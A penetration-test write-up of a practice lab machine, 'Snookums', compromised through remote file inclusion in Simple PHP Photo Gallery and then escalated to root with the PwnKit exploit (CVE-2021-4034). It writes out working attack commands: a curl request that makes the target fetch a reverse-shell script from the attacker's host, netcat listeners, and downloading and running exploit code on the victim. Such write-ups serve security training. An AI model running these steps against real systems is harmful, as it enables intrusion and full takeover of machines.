report

Report - Snookums

- Author: Henry Post
- Target: Snookums
- Target IP: 192.168.55.58
- Attacker IP: 192.168.49.55
- Date: 05/03/2026

Executive Summary

This machine, Snookums, was enumerated to have an HTTP service running.

This HTTP service was running `Simple PHP Photo Gallery v0.8` which was vulnerable to a remote file inclusion vulnerability. This was used to get non-root reverse shell.

The victim was identified to have an outdated PolKit version on it, which we used to exploit CVE-2021-4034, a privilege escalation vulnerability.

Recommendations

- Upgrade PHP Photo Gallery immediately to fix the remote file inclusion vulnerability.
- Update Linux immediately to fix the privilege escalation vulnerability.

Resources

- https://www.exploit-db.com/exploits/48424
- https://github.com/peass-ng/PEASS-ng/releases
- https://www.exploit-db.com/download/31346 (not successful)
- https://raw.githubusercontent.com/joeammond/CVE-2021-4034/refs/heads/main/CVE-2021-4034.py
- https://medium.com/@robertip/oscp-practice-snookums-proving-ground-practice-1f3e80951b53 (guide)

Recon

We edit `/etc/hosts`.

I ran an nmap scan that enumerated their ports:

```
nmap -sS -sV snookums
```

```
???(kali?kali)-[~]
??$ nmap -sS -sV snookums
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-03 18:59 +0000
Nmap scan report for snookums (192.168.55.58)
Host is up (0.0010s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
3306/tcp open  mysql       MySQL (unauthorized)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.08 seconds
```

Non-root access

Let's try the website.

`Simple PHP Photo Gallery v0.8`, hmm. Let's `searchsploit`.

```
searchsploit simple php

# SimplePHPGal 0.7 - Remote File Inclusion | php/webapps/48424.txt

searchsploit --path 48424
# /usr/share/exploitdb/exploits/php/webapps/48424.txt

cp /usr/share/exploitdb/exploits/php/webapps/48424.txt ./
```

The exploit:

```
### Poc  :

[+]   site.com/image.php?img= [ PAYLOAD ]
```

Let's create a script with `z.ai` to make this easier.

`SnookumsSimplePHPGalleryRFI.py`

We actually don't necessarily need a script to exploit this.

Let's get a PHP webshell file first, host it with `python -m http.server`, and then get RFI to pop.

```
ls /usr/share/webshells/php/simple-backdoor.php
```

Actually, let's use https://www.revshells.com/ and use PHP Ivan Sincek.

```
# use attacker ip and port 23:
ip a | grep 192 # attacker ip = 192.168.49.55

nano shell.php
# paste from revshells.com with ip and port

# new tab, serve payload
python -m http.server 80

# wait for listener callback
sudo nc -nvlp 23

curl "http://snookums:80/image.php?img=http://192.168.49.55:80/shell.php"
```

This seems to fail. Maybe I can get a simpler command execution vulnerability to work.

https://medium.com/@robertip/oscp-practice-snookums-proving-ground-practice-1f3e80951b53

Let's try this guide.

https://github.com/pentestmonkey/php-reverse-shell

```
git clone https://github.com/pentestmonkey/php-reverse-shell
cd php-reverse-shell
nano php-reverse-shell.php
# add port and ip
# $ip = '192.168.49.55';  // CHANGE THIS
# $port = 33060;       // CHANGE THIS

# serve for victim
python3 -m http.server
```

```
# listen for tcp
sudo nc -nvlp 33060

# pop exploit
curl "http://snookums:80/image.php?img=http://192.168.49.55:80/php-reverse-shell.php"
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nc -nvlp 33060
listening on [any] 33060 ...
connect to [192.168.49.55] from (UNKNOWN) [192.168.55.58] 34104
Linux snookums 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Lin
ux
 16:20:49 up  2:26,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh: no job control in this shell
sh-4.2$
```

We have non-root shell. We had to bump the port up to `33060`, for some reason. I'll have to remember to try fiddling port numbers in the future if my rev shells fail to pop.

Next step, let's try LinPEAS.

Root access

In attacker to stage LinPEAS:

```
# assuming python -m http.server is still running...

cd ~

wget https://github.com/peass-ng/PEASS-ng/releases/download/20260501-5805575d/linpeas.sh
```

In victim rev shell:

```
cd /dev/shm
wget http://192.168.49.55:80/linpeas.sh
chmod +x ./linpeas.sh

./linpeas.sh
```

It looks like their kernel is really old. There's tons of CVEs to try.

```
UAF | Match data: pkg=linux-kernel,ver>=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_
```

```
clone==1,CONFIG_XFRM=y | Tags: 1 | Rank: CONFIG_USER_NS needs to be enabled;
CONFIG_XFRM needs to be enabled
CVE: CVE-2021-27365 | Name: linux-iscsi | Match data: pkg=linux-
kernel,ver<=5.11.3,CONFIG_SLAB_FREELIST_HARDENED!=y | Tags: RHEL=8 | Rank: 1
| Details: CONFIG_SLAB_FREELIST_HARDENED must not be enabled           CVE:
CVE-2021-22555 | Name: Netfilter heap out-of-bounds write | Match data:
pkg=linux-kernel,ver>=2.6.19,ver<=5.12-rc6 | Tags:
ubuntu=20.04{kernel:5.8.0-*} | Rank: 1 | Details: ip_tables kernel module
must be loaded
CVE: CVE-2022-32250 | Name: nft_object UAF (NFT_MSG_NEWSET) | Match data:
pkg=linux-
kernel,ver<5.18.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==
1 | Tags: ubuntu=(22.04){kernel:5.15.0-27-generic} | Rank: 1 | Details:
kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
CVE: CVE-2018-14665 | Name: exploit_x | Match data:
2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31
,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3
.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6,3.8.0
,3.9.0,3.10.0,3.11.0,3.12.0,3.13.0,3.14.0,3.15.0,3.16.0,3.17.0,3.18.0,3.19.0
,4.0.0,4.1.0,4.2.0,4.3.0,4.4.0,4.5.0,4.6.0,4.7.0 | Tags: 1 | Rank:
http://www.exploit-db.com/exploits/45697
CVE: CVE-2016-0728 | Name: pp_key | Match data:
3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7,3.8.
8,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0,3.13.1 | Tags:
http://www.exploit-db.com/exploits/39277
CVE: CVE-2014-0038 | Name: timeoutpwn | Match data:
3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.9,3.9.0,3.10.0,3.11.0,3.12.0,3.13.0,3.4.0,
3.5.0,3.6.0,3.7.0,3.8.0,3.8.5,3.8.6,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3
.12.0,3.13.0,3.13.1 | Tags: http://www.exploit-db.com/exploits/31346
?? Kernel vulns found: 21
```

Let's try `timeoutpwn`, `CVE-2014-0038`...

http://www.exploit-db.com/exploits/31346

The guide mentions `CVE-2021–4034`, but I want to try `timeoutpwn` first.

On attacker:

```
wget https://www.exploit-db.com/download/31346 -O 31346.c

gcc 31346.c -o timeoutpwn
```

On victim:

```
cd /dev/shm
wget http://192.168.49.55:80/timeoutpwn
./timeoutpwn
# missing glibc

# okay, let's try to compile it ourselves.
wget http://192.168.49.55:80/31346.c
gcc 31346.c -o timeoutpwn
# no gcc
```

Dang it, I guess we can't compile C code. We should move on to `CVE-2021–4034`.

On attacker:

```
searchsploit CVE-2021–4034
```

Oh, this is `pwnkit`! I've used it before...

```
# on attacker
wget https://raw.githubusercontent.com/joeammond/CVE-2021-
4034/refs/heads/main/CVE-2021-4034.py

# use existing python server
python3 -m http.server 80

# on victim rev shell
cd /dev/shm/
wget 192.168.49.55:80/CVE-2021-4034.py
python CVE-2021-4034.py
```

```
sh-4.2$ gcc 31346.c -o timeoutpwn
gcc 31346.c -o timeoutpwn
sh: gcc: command not found
sh-4.2$ cc
cc
sh: cc: command not found
sh-4.2$ cd /dev/shm/
wget 192.168.49.55:80/CVE-2021-4034.py
python3 CVE-2021-4034.pycd /dev/shm/
sh-4.2$ wget 192.168.49.55:80/CVE-2021-4034.py
--2026-05-03 16:34:22--  http://192.168.49.55/CVE-2021-4034.py
Connecting to 192.168.49.55:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3262 (3.2K) [text/x-python]
Saving to: 'CVE-2021-4034.py'

     0K ...                                                   100%  460M=0s

2026-05-03 16:34:22 (460 MB/s) - 'CVE-2021-4034.py' saved [3262/3262]

sh-4.2$ python3 CVE-2021-4034.py
python3 CVE-2021-4034.pypython3 CVE-2021-4034.py
sh: python3: command not found
sh-4.2$ python3 CVE-2021-4034.py
python3 CVE-2021-4034.py
sh: python3: command not found
sh-4.2$ python CVE-2021-4034.py
python CVE-2021-4034.py
whoami
root
hostname
snookums
```

And we have root shell, thanks to `pwnkit`.